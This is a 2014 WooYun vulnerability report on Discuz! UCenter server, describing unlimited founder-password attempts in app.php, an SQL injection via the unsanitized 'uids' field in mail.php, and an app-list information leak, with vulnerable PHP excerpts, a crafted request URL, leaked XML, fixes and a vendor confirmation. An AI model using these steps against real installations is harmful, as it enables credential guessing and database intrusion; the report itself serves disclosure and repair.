当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(34) 关注此漏洞

缺陷编号: WooYun-2014-65534

漏洞标题: Ucserver三个小问题

相关厂商: Discuz!

漏洞作者: Map

提交时间: 2014-06-19 21:09

公开时间: 2014-09-17 21:10

漏洞类型: 设计错误/逻辑缺陷

危害等级: 中

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-19: 细节已通知厂商并且等待厂商处理中
2014-06-20: 厂商已经确认,细节仅向厂商公开
2014-06-23: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-08-14: 细节向核心白帽子及相关领域专家公开
2014-08-24: 细节向普通白帽子公开
2014-09-03: 细节向实习白帽子公开
2014-09-17: 细节向公众公开

简要描述:

一个有条件的SQL注射和两个小问题。

详细说明:

1,暴力破解。



ucserver的默认管理员登录需要输入验证码,并且还有登录次数的限制,但是在:

/control/app.php 内是没有限制登录的次数的



code 区域
function onadd() {
$ucfounderpw = getgpc('ucfounderpw', 'P');
$apptype = getgpc('apptype', 'P');
$appname = getgpc('appname', 'P');
$appurl = getgpc('appurl', 'P');
$appip = getgpc('appip', 'P');
$viewprourl = getgpc('viewprourl', 'P');
$appcharset = getgpc('appcharset', 'P');
$appdbcharset = getgpc('appdbcharset', 'P');
$apptagtemplates = getgpc('apptagtemplates', 'P');
$appallowips = getgpc('allowips', 'P');

if(md5(md5($ucfounderpw).UC_FOUNDERSALT) == UC_FOUNDERPW || (strlen($ucfounderpw) == 32 && $ucfounderpw == md5(UC_FOUNDERPW))) {





只要登录的密码符合,就可以添加一个客户端连接到ucserver并且分配一个uckey和数据库信息。





code 区域
else {
//$return = "UC_STATUS_OK|$app[authkey]|$app[appid]|".UC_DBHOST.'|'.UC_DBNAME.'|'.UC_DBUSER.'|'.UC_DBPW.'|'.UC_DBCHARSET.'|'.UC_DBTABLEPRE.'|'.UC_CHARSET;
$return = "$app[authkey]|$app[appid]|".UC_DBHOST.'|'.UC_DBNAME.'|'.UC_DBUSER.'|'.UC_DBPW.'|'.UC_DBCHARSET.'|'.UC_DBTABLEPRE.'|'.UC_CHARSET;
}





2,已知客户端的uckey的情况下,对ucserver进行SQL注射



代码在:

/control/mail.php 中



code 区域
function onadd() {
$this->load('mail');
$mail = array();
$mail['appid'] = $this->app['appid'];
$mail['uids'] = explode(',', $this->input('uids'));
$mail['emails'] = explode(',', $this->input('emails'));
$mail['subject'] = $this->input('subject');
$mail['message'] = $this->input('message');
$mail['charset'] = $this->input('charset');
$mail['htmlon'] = intval($this->input('htmlon'));
$mail['level'] = abs(intval($this->input('level')));
$mail['frommail'] = $this->input('frommail');
$mail['dateline'] = $this->time;
return $_ENV['mail']->add($mail);
}





$mail['uids'] = explode(',', $this->input('uids'));



这句代码中的$mail['uids']最后进到了SQL语句里,相应的代码在:



model/mail.php里有:



code 区域
$mail['email_to'] = array();
$uids = 0;
foreach($mail['uids'] as $uid) {
if(empty($uid)) continue;
$uids .= ','.$uid;
}
$users = $this->db->fetch_all("SELECT uid, username, email FROM ".UC_DBTABLEPRE."members WHERE uid IN ($uids)");





$mail['email_to']被拼到$uids里最后导致了SQL注射。



3,信息泄漏,泄漏ucserver内的客户端应用和相应版本



代码在:

control/app.php 内



code 区域
function onls() {
$this->init_input();
$applist = $_ENV['app']->get_apps('appid, type, name, url, tagtemplates, viewprourl, synlogin');
$applist2 = array();
foreach($applist as $key => $app) {
$app['tagtemplates'] = $this->unserialize($app['tagtemplates']);
$applist2[$app['appid']] = $app;
}
return $applist2;
}





所以只要$this->init_input();能正确运行,那么就会抛出ucserver里面的应用和相应的版本号。



正好上传头像的api是存在$this->input()所需要的信息的,我们拿官方做个实验。



登录后访问:

http://**.**.**.**/home.php?mod=spacecp&ac=avatar



1.jpg



获得

code 区域
http://**.**.**.**/images/camera.swf?inajax=1&appid=13&input=2b310Oraxl%2BiVL8yXhYy7pJ5DkQOPHYLt2FRsTEIyOD3PMtxkbn%2FDKkzssQgMWYlBirpQPsYOuN4vT9J5mZF7V6Q%2BRD3A8GK9uBTSj8%2FCEOGkPH959sDeep%2FiFag6X8&agent=569b93c7d7e18a505d671ba495198a3a&ucapi=**.**.**.**&avatartype=virtual&uploadSize=2048





抠出我们要的东西



code 区域
?inajax=1&appid=13&input=2b310Oraxl%2BiVL8yXhYy7pJ5DkQOPHYLt2FRsTEIyOD3PMtxkbn%2FDKkzssQgMWYlBirpQPsYOuN4vT9J5mZF7V6Q%2BRD3A8GK9uBTSj8%2FCEOGkPH959sDeep%2FiFag6X8&agent=569b93c7d7e18a505d671ba495198a3a&ucapi=**.**.**.**&avatartype=virtual&uploadSize=2048





拼一下,得到:

http://**.**.**.**/index.php?m=app&a=ls&inajax=1&appid=13&input=2b310Oraxl%2BiVL8yXhYy7pJ5DkQOPHYLt2FRsTEIyOD3PMtxkbn%2FDKkzssQgMWYlBirpQPsYOuN4vT9J5mZF7V6Q%2BRD3A8GK9uBTSj8%2FCEOGkPH959sDeep%2FiFag6X8&agent=569b93c7d7e18a505d671ba495198a3a&ucapi=**.**.**.**&avatartype=virtual&uploadSize=2048



访问得到:



code 区域
<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="14">
<item id="appid"><![CDATA[14]]></item>
<item id="type"><![CDATA[UCHOME]]></item>
<item id="name"><![CDATA[uchome]]></item>
<item id="url"><![CDATA[http://**.**.**.**/home]]></item>
<item id="tagtemplates">
<item id="template"><![CDATA[]]></item>
</item>
<item id="viewprourl"><![CDATA[]]></item>
<item id="synlogin"><![CDATA[0]]></item>
</item>
<item id="9">
<item id="appid"><![CDATA[9]]></item>
<item id="type"><![CDATA[OTHER]]></item>
<item id="name"><![CDATA[Manyou_UChome]]></item>
<item id="url"><![CDATA[http://**.**.**.**/uchome]]></item>
<item id="tagtemplates">
<item id="template"><![CDATA[]]></item>
</item>
<item id="viewprourl"><![CDATA[/space.php?uid=%s]]></item>
<item id="synlogin"><![CDATA[1]]></item>
</item>
<item id="11">
<item id="appid"><![CDATA[11]]></item>
<item id="type"><![CDATA[OTHER]]></item>
<item id="name"><![CDATA[手握手]]></item>
<item id="url"><![CDATA[http://**.**.**.**/]]></item>
<item id="tagtemplates">
<item id="template"><![CDATA[]]></item>
</item>
<item id="viewprourl"><![CDATA[]]></item>
<item id="synlogin"><![CDATA[0]]></item>
</item>
<item id="13">
<item id="appid"><![CDATA[13]]></item>
<item id="type"><![CDATA[]]></item>
<item id="name"><![CDATA[Discuz!]]></item>
<item id="url"><![CDATA[http://**.**.**.**/]]></item>
<item id="tagtemplates">
<item id="template"><![CDATA[<a href="{url}?sid=" target="_blank">{subject}</a>]]></item>
<item id="fields">
<item id="subject"><![CDATA[标题]]></item>
<item id="uid"><![CDATA[用户 ID]]></item>
<item id="username"><![CDATA[发帖者]]></item>
<item id="dateline"><![CDATA[日期]]></item>
<item id="url"><![CDATA[主题地址]]></item>
</item>
</item>
<item id="viewprourl"><![CDATA[]]></item>
<item id="synlogin"><![CDATA[1]]></item>
</item>
</root>



2.jpg





漏洞证明:

2.jpg





整个其实危害还是挺大的:



如果你能暴力出来一个ucserver的管理员密码,你就可以把ucserver和uclient黑了。



如果你能黑掉你列出来的任何一个uclient的应用,你就可以拿应用的uckey对ucserver注射。

修复方案:

uc的onls用不上的话可以去掉或者做限制。

onadd也可以做个次数限制。

SQL注射直接在foreach里进行intval就好了。

版权声明:转载请注明来源 Map@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-06-20 10:46

厂商回复:

安全问题无大小,这些问题我们尽快给于处理,感谢您的支持。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-06-20 14:29 | Hmily ( 路人 | 还没有发布任何漏洞 | 吾爱破解论坛)
    1

    最近discuz官方人的态度和之前千差万别,安全部换负责人了?把x3.1也更新下吧,别老强推你们那3.2什么微社区了。

  2. 2014-06-23 12:17 | 小怿 ( 实习白帽子 | Rank:31 漏洞数:7 | )
    1

    @Hmily 从他们的行动速度和对问题的重视,我也觉得是换负责人了。。

  3. 2014-07-11 17:15 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:183 | 力不从心)
    0

    安全问题无大小,这个说的有理。不过最近DZ好像真如上面说的换人了吧,态度很给力了

登录后才能发表评论,请先 登录